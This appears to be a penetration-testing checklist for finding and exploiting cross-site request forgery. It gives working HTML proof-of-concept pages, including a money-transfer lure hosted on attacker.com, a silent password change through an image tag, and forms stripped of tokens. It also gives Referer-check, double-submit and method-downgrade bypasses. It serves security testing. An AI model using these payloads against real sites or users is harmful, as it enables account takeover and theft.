Cross Site Request Forgery

Check List

Methodology

Session Riding

1

Look for any action that modifies data like Money transfersword

2

Perform the action normally while logged in

3

Intercept the POST/PUT request with Burp Suite

4

Check if a CSRF token is present in headers, body, or cookies

5

In Burp Repeater, send the captured request again (no changes)

6

If the action executes twice (two transfers, two email changes) → No CSRF protection

7

Craft Malicious HTML PoC

<html>
  <body>
    <h2>Congratulations! You won $1000!</h2>
    <form action="https://target.com/transfer" method="POST">
      <input type="hidden" name="amount" value="1000">
      <input type="hidden" name="to_account" value="ATTACKER123">
      <input type="submit" value="Claim Prize">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
8

Host the HTML on your server (https://attacker.com/poc.html)

9

Log in as victim in the same browser

10

Visit your PoC page

11

If money is transferred → CSRF confirmed


Bypass CSRF Protection

1

If the endpoint uses CSRF tokens but the page itself is vulnerable to clickjacking, an attacker can exploit clickjacking to achieve the same results as a CSRF attack

2

Clickjacking attacks use an iframe to frame a page in a malicious site while having the state-changing request originate from the legitimate site

3

If the page where the vulnerable endpoint is located is susceptible to clickjacking, the attacker can achieve the same results as a CSRF attack with additional effort and CSS skills

4

To check for clickjacking, use an HTML page like the following

<html>
 <head>
  <title>Clickjack test page</title>
 </head>
 <body>
  <p>This page is vulnerable to clickjacking if the iframe is not blank!</p>
  <iframe src="PAGE_URL" width="500" height="500"></iframe>
 </body>
</html>

Change the Request Method

1

Some sites accept multiple request methods for the same endpoint but might not have protection in place for each method

2

hanging the request method may allow you to bypass CSRF protection

3

if a password-change endpoint is protected via CSRF tokens in a POST request

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
4

If successful, the malicious HTML page could look like this

<html>
 <img src="https://email.example.com/password_change?new_password=abc123"/>
</html>

Bypass CSRF Tokens Stored on the Server

1

If clickjacking and request method manipulation don’t work, and the site implements CSRF tokens, try the following

2

Delete the token parameter or send a blank token parameter

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123
<html>
 <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
  <input type="text" name="new_password" value="abc123">
  <input type='submit' value="Submit">
 </form>
 <script>document.getElementById("csrf-form").submit();</script>
</html>
3

Send a valid CSRF token from another session

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=YOUR_TOKEN
4

If the application logic does not validate whether the token belongs to the current user, this technique may work


Bypass Double-Submit CSRF Tokens

1

ome sites use a double-submit cookie mechanism where the CSRF token is sent both as a cookie and a request parameter, and the server verifies their match. If the server doesn’t store valid tokens, the following Attack can work

2

By making the victim’s browser store a forged CSRF token cookie via session fixation techniques, an attacker can execute the CSRF successfully


Bypass CSRF Referer Header Check

1

If a website verifies the referer header instead of using CSRF tokens, try these bypass techniques, Remove the Referer Header

2

Manipulate the referer check logic

  • Use a subdomain like example.com.attacker.com

  • Use a pathname like attacker.com/example.com


Cart Manipulation

1

Created Two accounts one is ATTACKER and Second one is VICTIM

2

Firefox (ATTACKER BROWSER) Chrome (VICTIM BROWSER)

3

From Attacker id add any “xyz” product in a cart

4

Increase the quantity From 1 to 2 and intercept that request in burp suite

5

Right click and click on Engagement tools (Generate a CSRF POC)

6

Copy That HTML Code and Paste into any Editor

7

Save that file with .html EXTENSION

8

Send that file to Victim Browser (chrome) already told you this in second step

9

When Victim will opens that file and Clicked on submit request that “xyz” product will automatically added to victim cart and automatically increased the quantity


OTP Bypass via CSRF on Edit Profile

1

Create a normal account

2

Navigate to Edit Profile or Settings

3

Enter a new email or phone → Click Save.

4

Intercept the POST request with Burp Suite → Send to Repeater

5

Check request body/headers for csrf_token, X-CSRF-Token, __RequestVerificationToke.

6

If none present → CSRF vulnerable

7

In Burp Repeater → Right-click request → Engagement tools → Generate CSRF PoC

8

Choose Auto-submit form (so no click needed)

9

Set victim’s email/phone in the form fields

10

Click Test in browser → Save as csrf-poc.html

11

Log in as victim in any browser

12

Open your csrf-poc.html file (local or hosted)

13

If victim’s email/phone instantly changes → OTP bypass confirmed


1

Log in as admin → Change a user’s password

2

Intercept the POST request

3

Downgrade Content-Type to Form-URLencoded And Change header

And Body

4

Send → If password changes → Content-Type bypass confirmed

5

Convert entire request to GET with parameters in URL

6

Send → If password changes → Method downgrade bypass confirmed

7

Craft Final CSRF PoC (No Click Needed)

8

Host the HTML file or send as attachment

9

Admin opens it while logged in → Password of user ID 1 instantly changed


White Box

Cheat Sheet

Last updated